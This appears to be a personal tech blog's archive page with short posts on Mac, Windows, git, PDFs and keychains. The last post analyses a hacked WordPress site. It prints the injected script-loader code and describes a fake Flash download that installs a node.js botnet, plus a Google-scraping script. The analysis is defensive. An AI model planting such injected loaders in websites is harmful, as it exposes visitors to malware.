YouTube RSS Feeds

Veröffentlicht am 23.4.2017, 22:47 Uhr


Thema: Link Keine Kommentare - :(

Mac OS X: Unabhängige Scroll-Richtung für Maus und Touchpad

Veröffentlicht am 4.4.2017, 12:28 Uhr

Natural Scrolling ist toll auf Mac OS X. Allerdings nur mit dem Touchpad, nicht mit der angeschlossenen USB-Maus. Dummerweise sind die „Scroll Direction“-Einstellungen von Maus und Touchpad aneinander gekoppelt, so dass wenn die eine (de)aktiviert wird, die andere dies auch tut.

Heute aber eine Lösung gefunden:
Installiert, konfiguriert, Problem behoben.

Thema: Link Keine Kommentare - :(

Windows 10: WLAN/Netzwerk von „Öffentliches Netzwerk“ auf „Privates Netzwerk“ umstellen

Veröffentlicht am 30.3.2017, 13:20 Uhr

Mit Windows 10 hat sich (mal wieder) geändert, wie man sein WLAN/Netzwerk von „öffentlich“ auf „privat“ umstellen kann. Das ist relevant weil die Windows Firewall zwischen diesen beiden Klassen von Verbindungen unterscheidet und manche Verbindung aus Versehen falsch kategorisiert werden kann. Also muss man es ändern. Nur wo?

Die Einstellung findet sich nun in den „Einstellungen“ (bzw. „Eigenschaften“, je nach dem wo man es findet) des jeweiligen WLANs/Netzwerkes und wird dort als „Dieser PC soll gefunden werden“ bezeichnet. Ist dieser Schalter auf „Ein“, wird die Verbindung als „privat“ gehandhabt, bei „Aus“ eben als „öffentlich“.

Logisch, oder? *augenroll

Viele weitere Möglichkeiten finden sich hier:

Remove security from a secured PDF file

Veröffentlicht am 7.3.2017, 21:41 Uhr

One of my banks stopped offering downloadable CSV files of the statements af account. Bastards.

Luckily they still offer the monthly statement as a PDF. Parse that (parsing PDFs always is a pain, but possible), you have a CSV.

Unfortunately the PDFs offered for download are Secured PDF files. And most PDF parsing libraries can’t or don’t want to handle secured files.

„Well, bank statements are sensitive information!“ you might say. Yes they are. So I would understand if they used a security setting that requires a password to open a file. But they don’t do that. The file is just secured so… I don’t know exactly. I can do everything but open them by my trusted library.

I could just open all the files and then print them again as PDF to have an unsecured PDF file. But as I have lots of statements, this doesn’t sound too fun.

Of course there are also many paid softwares to remove PDF passwords and security features. Most cost once to register, some even monthly. Meh.

But if you spend some more time googling, there are also FREE tools:

Weeny’s tool is really nice and super usable. Happy ‚customer‘ here :)

Thema: Kram, Link Keine Kommentare - :(

git: How to rewrite history on commits that you already pushed to the remote/origin

Veröffentlicht am 14.2.2017, 18:42 Uhr

(Written October 2013)

Let’s phrase this another way:
How to rewrite commits that are already on Github?
Ho to clean up commits that I already synced?
How to rewrite public history on git?

As you probably know git is much more flexible with branches, commits and all that stuff than other CVSs like SVN were. Commits are done locally and more like local snapshots that still can be changed, where commits in SVN are directly on the server/repository and can’t be changed. So there are lot’s of tutorials that explain how all this works:

But the one thing all these instructions don’t tell you, is what to do when you already synced (pushed) these commits to the remote origin. We only get quotes like these:

Once you have published/pushed your work to shared repositories, we very much recommend against going through post-production with it. That is known as rewriting public history and in general requires telling everyone of your failings as a developer so that they can do the necessary work to recover on their side.

A word of caution: Only do this on commits that haven’t been pushed an external repository. If others have based work off of the commits that you’re going to delete, plenty of conflicts can occur. Just don’t rewrite your history if it’s been shared with others.

Don’t include any commit you’ve already pushed to a central server — doing so will confuse other developers by providing an alternate version of the same change.

or my favorite one from the GitHub documentation:

Warning: It is considered bad practice to rebase commits which you have already pushed to a remote repository. Doing so may invoke the wrath of the git gods.

There are good reasons for this if you work with other people.

Obviously this doesn’t help, when you want to rewrite public history. There are lots of cases where you want to do that, especially if you are the only committer to a project and there is noone else to consider.

Before you start playing around with rebase, it’s probably a good idea to make a backup of your current state to a branch:
$ git branch backup-branch
Then if something goes horribly wrong with you workign copy you can just get the old state back:
$ git reset --hard backup-branch

Then you can continue doing the rebase like it is described in one of these tutorials:

And after all that, the magic thing to do is this:
git push --force origin master

By the way, the sources I finally found for this, after fighting for several days, were these:

Free MS Project Viewer

Veröffentlicht am 14.2.2017, 18:39 Uhr

(Finally posted this old draft)

API Load Testing

Veröffentlicht am 14.2.2017, 13:27 Uhr

Last year I not only needed to log JavaScript errors but also find a way to load test a REST(ish) API. Again some bookmarks that resulted out of my research on how to load test an API:

Software as a Service

Articles / Blog Posts

JavaScript Error Tracking and Logging

Veröffentlicht am 14.2.2017, 13:19 Uhr

Last year I needed a solution for logging and tracking errors in a JavaScript application and spent some time researching services and tools to resolve this need. This is a cleaned up dump of my bookmarks that resulted out of this research:


Google Analytics



Cordova/Ionic support

As I needed it for a Ioinic app and didn’t really have a budget I went with which worked totally fine for my needs.

Keychain: How to delete one certificate whose private key is also connected to other certificates without deleting this private key

Veröffentlicht am 25.11.2015, 14:57 Uhr

When you try to delete a certain certificate, Keychain by default also deletes the private key that certificate is connected to. As you don’t want to make all your other certificates that use the same private key useless, this can be a problem.

This is how you solve this problem:

  1. Create a backup of your original keychain. You may break something, and then want to go back to where you where before
  2. Create a new keychain ‚foo‘
  3. Move the certificate you want to get rid of to this new keychain
    (This will also copy the private key of this cert and remove it from all your other certificates – which are not useless)
  4. Move only the private key back to your original keychain
    (This will of course remove it from the cert you want to delete anyway and move it back to all the certs you want to keep – that are now whole again)
  5. Check if all the certificates in your original keychain are valid again and have their private key back
  6. Delete the ‚foo‘ keychain with only the cert inside
  7. Tadaaa!

But Apple software is sooo convenient…

Thema: Kram Keine Kommentare - :(

What happens if your WordPress is hacked – or: How botnets are created with hijacked Worpess, fake Flash downloads and node.js

Veröffentlicht am 23.11.2015, 14:14 Uhr


I just noticed the website of an old employer has been hacked and some JavaScript is injected into their corporate website that runs on WordPress. Ouch. Of course I notified them about it and they’re just trying to figure out what happened and how to fix it.

This taken care of, I of course started looking at what the attackers placed there:

(function() {
var gcse = document.createElement('script');
gcse.type = 'text/javascript';
gcse.async = true;
gcse.src = "";
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(gcse, s);

(function() {
var gcse = document.createElement('script');
gcse.type = 'text/javascript';
gcse.async = true;
gcse.src = "";
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(gcse, s);

(Actually the second script is inserted twice – probably the same post was hacked again and the payload placed a second time – even hacker forget stuff the did before.)

So we see there are two files included to this nice corporate website:

Let’s have a look at them.

(Copy of the file if it gets removed:

This checks if there is a ‚doRedirect‘ cookie set, if not it redirects to This pseudo link (note the .do domain instead of .ly) redirect to some link. It also offers statistics on, so we know this redirect has already been used (at the time of writing) 18.000 times. And we also see all the domains that include this link. Ouch. (Now I notified some other German domains – can’t notify them all :/)

The link it redirects you to is which is a faked Flash Player download site where you can download a file called . This is of course not a Flash Player, but a ZIP that extracts itself.

In there you find some node.js binaries, a script to load node if it is missing and an index.js. If you are brave enough to execute this, it downloads an updater.js, version.txt (that only says „93“) and script.js:

updater.js is basically a pimped out version of the index.js we already have, but can basically do the same stuff. script.js is another beast with 729 lines of code. Executing this you get some output like this:

> node script.js
{ type: ‚createProxy‘, id: 0 }
{ type: ‚createProxy‘,
attachTo: { ip: ‚‘, port: 53963 },
id: 1 }
creating attached proxy:
attached to

So it seems this is connecting to a proxy in Paraguay and … I don’t know, because I didn’t (try to) understand what the rest of script.js actually does after that. Best guess is it connects to a proxy and gets some commands, also it creates a proxy itself on my machine that can be used by other nodes to connect to and use. Someone has this list of proxies to do whatever he wants with my machine in a node.js context – and that’s a lot of things he can do.

(Anyone wants to look at script.js a bit more and tell me what it actually does? I’m curious…)

(Copy of the file if it gets removed:

This file is a bit more straight forward, although I absolutely don’t get why it does what it does:

  1. First it POSTs to a server to get a list of keywords
  2. Then it uses these keywords to GET a search on Google API:
  3. It gets the URLs of the results and puts them in a list…
  4. … that is then POSTed back to the server while getting new keywords
  5. goto 1

It uses a proper Google API key to make these requests, so Google at least know what Google account is connected to these requests. The server it sends to is a Polish IP that is known for spam, so make of that what you will. But I honestly don’t know what the use of this activity is and how you could possible gain something from this.

(Any idea?)


Someone hacks WordPress websites and includes strange .js files that a) lead to fake Flash downloads that install a botnet on your PC and b) abuse your browser to get URLs from a Google search.

My former employer is still trying to figure out if this is serious and who is reponsible for fixing the modified wordpress posts… this could take some time.

Tipico Pay ist eine Einzahlungs-App für den Sportwetten-Anbieter Tipico.

Thema: Kram 7 Kommentare - :)

15 queries. 0,205 seconds.